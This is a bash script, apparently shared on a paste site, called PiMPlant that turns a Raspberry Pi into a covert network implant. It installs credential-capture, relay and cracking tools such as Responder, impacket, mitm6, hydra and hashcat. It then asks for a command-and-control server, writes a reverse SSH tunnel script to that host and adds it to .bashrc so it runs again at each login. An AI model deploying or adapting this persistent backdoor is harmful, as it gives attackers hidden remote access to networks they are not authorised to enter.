PiMPlant.sh 3.2 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465
  1. #!/bin/bash
  2. cat << "EOF"
  3. ██████╗ ██╗███╗ ███╗██████╗ ██╗ █████╗ ███╗ ██╗████████╗
  4. ██╔══██╗██║████╗ ████║██╔══██╗██║ ██╔══██╗████╗ ██║╚══██╔══╝
  5. ██████╔╝██║██╔████╔██║██████╔╝██║ ███████║██╔██╗ ██║ ██║
  6. ██╔═══╝ ██║██║╚██╔╝██║██╔═══╝ ██║ ██╔══██║██║╚██╗██║ ██║
  7. ██║ ██║██║ ╚═╝ ██║██║ ███████╗██║ ██║██║ ╚████║ ██║
  8. ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝
  9. ███████╗ ██████╗██████╗ ██╗██████╗ ████████╗
  10. ██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝
  11. ███████╗██║ ██████╔╝██║██████╔╝ ██║
  12. ╚════██║██║ ██╔══██╗██║██╔═══╝ ██║
  13. ███████║╚██████╗██║ ██║██║██║ ██║
  14. ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝
  15. EOF
  16. echo ""
  17. echo "Welcome To The PiMPlant Script!"
  18. sleep 4
  19. echo ""
  20. echo "Let's Update Your Implant"
  21. echo ""
  22. apt-get update -y && apt-get upgrade -y
  23. echo "Removing Unneeded Directories"
  24. rm -rf Videos/
  25. rm -rf Music/
  26. rm -rf Public/
  27. rm -rf Templates/
  28. rm -rf Bookshelf/
  29. echo ""
  30. echo "Time To Install All The Hacker Packages"
  31. sleep 4
  32. echo ""
  33. cd /opt/
  34. sudo git clone https://github.com/SpiderLabs/Responder.git
  35. git clone https://github.com/SecureAuthCorp/impacket.git
  36. cd impacket
  37. pip install -r requirements.txt
  38. python setup.py install
  39. cd ../
  40. git clone https://github.com/michenriksen/aquatone.git
  41. git clone https://github.com/darkoperator/dnsrecon.git
  42. git clone https://github.com/dirkjanm/mitm6.git
  43. sudo apt install python2 wifite hcxtools hydra medusa cewl hashcat macchanger nmap postgresql tmux -y
  44. cd /home/pi
  45. ssh-keygen
  46. echo "Enter Your C2 Server's IP/Domain"
  47. read C2IP
  48. sleep 2
  49. echo ""
  50. echo "Time For Some Reverse SSH"
  51. sleep 3
  52. touch rev.sh
  53. echo “#!/bin/sh” >> rev.sh
  54. echo "ssh -N -R 2222:localhost:22 root@$C2IP" >> rev.sh
  55. sudo chmod +x rev.sh
  56. chown pi:pi rev.sh
  57. echo "sleep 15 && bash /home/pi/rev.sh" >> /home/pi/.bashrc
  58. ssh-copy-id -i /home/pi/.ssh/id_rsa.pub root@$C2IP
  59. echo "All Is Complete"
  60. sleep 2
  61. echo "Your Implant Is Configured"
  62. sleep 2
  63. echo ""
  64. echo "Reboot for changes to take effect"